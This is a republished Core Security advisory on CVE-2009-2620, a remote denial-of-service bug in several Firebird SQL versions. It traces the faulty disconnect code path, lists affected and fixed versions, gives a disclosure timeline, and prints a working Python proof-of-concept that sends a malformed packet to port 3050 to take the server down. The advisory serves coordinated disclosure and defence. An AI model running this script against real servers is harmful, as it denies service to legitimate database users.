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Credit:
The information has been provided by Core Security Technologies.
The original article can be found at: http://www.coresecurity.com/content/firebird-sql-dos
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Vulnerable Systems:
* Firebird SQL v1.5.5
* Firebird SQL v2.0.1
* Firebird SQL v2.0.5
* Firebird SQL v2.1.1
* Firebird SQL v2.1.2
* Firebird SQL v2.1.3 RC1
* Firebird SQL v2.5.0 Beta
Immune Systems:
* Firebird SQL v2.1.3 Release Candidate 2 (estimated release: July 2009)
*Firebird SQL v2.5 Beta 2 (estimated release: July 2009)
*Firebird SQL v1.5.6 (estimated release: August 2009)
*Firebird SQL v2.0.6 (estimated release: October 2009)
The issue is resolved in all branches of the Firebird SQL repository. It is registered in the Firebird SQL bug tracker as: http://tracker.firebirdsql.org/browse/CORE-2563
Inside the server ('src/remote/server.cpp'), the function 'process_packet2()' processes a packet received from a client. This function has a 'switch' statement that considers all the possible opcodes defined in the protocol (see 'P_OP' enum 'in src/remote/protocol.h').
src/remote/server.cpp:
...
3404 P_OP op = receive->p_operation;
3405 switch (op)
3406 {
3407 case op_connect:
...
3426 case op_compile:
...
3430 case op_attach:
...
In the case of an 'op_connect_request' packet, the execution flow goes to the following 'case' in the 'switch' statement:
src/remote/server.cpp:
...
3584 case op_connect_request:
3585 aux_request(port, &receive->p_req, sendL);
3586 break;
After calling 'aux_request()' function and executing the 'break' statement, execution lands here:
src/remote/server.cpp:
...
3652 if (port && port->port_state == state_broken) {
3653 if (!port->port_parent) {
3654 gds__log("SERVER/process_packet: broken port, server exiting");
3655 port->disconnect(sendL, receive);
3656 ThreadData::restoreSpecific();
3657 return false;
3658 }
3659 port->disconnect(sendL, receive);
3660 port = NULL;
3661 }
By debugging the 'fbserver.exe' binary when it receives an 'op_connect_request' packet, we can see that the conditions of the first 'if' statement are satisfied, but the condition of the second 'if' is not, so execution flow goes to the 'port->disconnect()' call:
005ACE2C |> 837E 0C 03 CMP DWORD PTR DS:[ESI+C],3
;port->port_state == state_broken ?
005ACE30 |. 75 1B JNZ SHORT fbserver.005ACE4D
005ACE32 |. 837E 1C 00 CMP DWORD PTR DS:[ESI+1C],0
;port->port_parent == 0?
005ACE36 |. 75 0A JNZ SHORT fbserver.005ACE42
;this conditional jump is taken
005ACE38 |. 68 D4D65F00 PUSH fbserver.005FD6D4
; ASCII "SERVER/process_packet: broken port, server exiting"
005ACE3D |.^ E9 44FDFFFF JMP fbserver.005ACB86
005ACE42 |> 53 PUSH EBX
; /Arg2
005ACE43 |. 57 PUSH EDI
; |Arg1
005ACE44 |. 8BCE MOV ECX,ESI
; |
005ACE46 |. E8 65D7FFFF CALL
; \port->disconnect(sendL, receive)
The type of 'port' is 'struct rem_port', as defined in 'src/remote/remote.h'. This struct type has a 'disconnect()' function that is implemented in 'src/remote/server.cpp':
src/remote/server.cpp:
1464 void rem_port::disconnect(PACKET* sendL, PACKET* receiveL)
Inside this function, the following code is executed, in order to free both the sent and received packets and to close the corresponding sockets:
src/remote/server.cpp:
...
1492 REMOTE_free_packet(this, sendL);
1493 REMOTE_free_packet(this, receiveL);
1494 this->disconnect();
That call to 'this->disconnect()' will ultimately lead to the 'disconnect()' function in 'src/remote/inet.cpp'. This function is intended to break a remote connection, and receives a 'rem_port' structure as parameter.
src/remote/inet.cpp:
1731 static void disconnect( rem_port* port)
1732 {
In the first place, the function closes the connection established by the client, by calling the 'shutdown' function:
src/remote/inet.cpp:
...
1763 if (port->port_handle && (SOCKET) port->port_handle !=
INVALID_SOCKET) {
1764 shutdown((int) port->port_handle, 2);
1765 }
After that, as a comment line states, if the current 'rem_port' structure being disconnected is a child of another 'rem_port' structure, it recursively calls 'disconnect()' to disconnect the 'rem_port' stored at 'port->port_async'. 'port_async' is a member of 'rem_port' struct that describes an asynchronous sibling port.
src/remote/inet.cpp:
/* If this is a sub-port, unlink it from it's parent */ ...
1789 rem_port* parent = port->port_parent;
1790 if (parent != NULL) {
1791 if (port->port_async) {
1792 disconnect(port->port_async);
1793 port->port_async = NULL;
1794 }
But when that recursive call to 'disconnect()' is made, the 'port->port_async' passed as parameter to be disconnected corresponds to the main server socket, that is, the socket listening for incoming connections on port 3050/TCP. Once in the recursive call, 'shutdown()' and 'closesocket()' functions are invoked, making the server to stop listening on the default port 3050/TCP, thus denying the service to legitimate users.
As a side effect, the 'fbserver.exe' process will enter an infinite loop, consuming 100% CPU time.
On Windows platform, in a default installation, Firebird SQL server is installed as a Windows service, and another service (the Firebird Guardian) runs together with the server, in order to automatically restart the 'fbserver.exe' process if it crashes or stops running abnormally. However, in this case the Firebird Guardian is unable to detect the denial of service condition, because the server does not crash nor stops running.
In Firebird SQL 1.5.5 the behavior is different; the server will crash inside the 'aux_request()' function in 'src/remote/server.cpp' due to a null pointer dereference, instead of silently shutting down its listener port. The problem arises when 'port->port_context' (which has a 'NULL' value at this point) is loaded into 'rdb' variable and then, at line '885', it is used as a pointer without properly checking that it points to a valid memory address:
/-----------
src/remote/server.cpp:
...
884 rdb = port->port_context;
885 port->send_response(send, rdb->rdb_id,
886 send->p_resp.p_resp_data.cstr_length, status_vector);
The following Python script will trigger the denial of service condition on Firebird SQL, by sending an 'op_connect_request' packet with invalid data of length greater than or equal to 12 bytes.
import socket
import time
def attack(host, port):
op_connect_request = '\x35' # Request to establish connection
packet = '\x00\x00\x00' + op_connect_request
packet += "A" * 12 #Invalid data, must be >= 12 bytes
in order to trigger the DoS
print "(+) Connecting to the server...."
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
print "(+) Sending op_connect_request packet..."
s.send(str(packet))
s.close()
print "(+) op_connect_request packet successfully sent."
#Wait 10 seconds and try to connect again to Firebird SQL server, to check if it's down
print "(+) Waiting 10 seconds before trying to reconnect to the server..."
time.sleep(10)
try:
print "(+) Trying to reconnect..."
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.close()
print "(!) Something went wrong. The server is still alive."
except socket.error:
print "(*) Attack successful. The server is down."
port = 3050
host = '192.168.131.128' #Replace with your target host
attack(host, port)
CVE Information:
CVE-2009-2620
Disclosure Timeline:
2009-07-15: Core Security Technologies notifies the Firebird team of the vulnerability.
2009-07-16: Firebird team requests technical details in plaintext.
2009-07-16: Core sends the advisory draft, including technical details.
2009-07-20: Firebird team notifies that the issue is resolved in all branches of the Firebird repository. Technical details will be publicly visible when Core releases its advisory. Firebird team notices that Firebird version 1.5.5 (marked as non vulnerable in the advisory draft) seems to be affected.
2009-07-27: Core sends the final version of the advisory to the Firebird team.
2009-07-28: The advisory CORE-2009-0707 is published.
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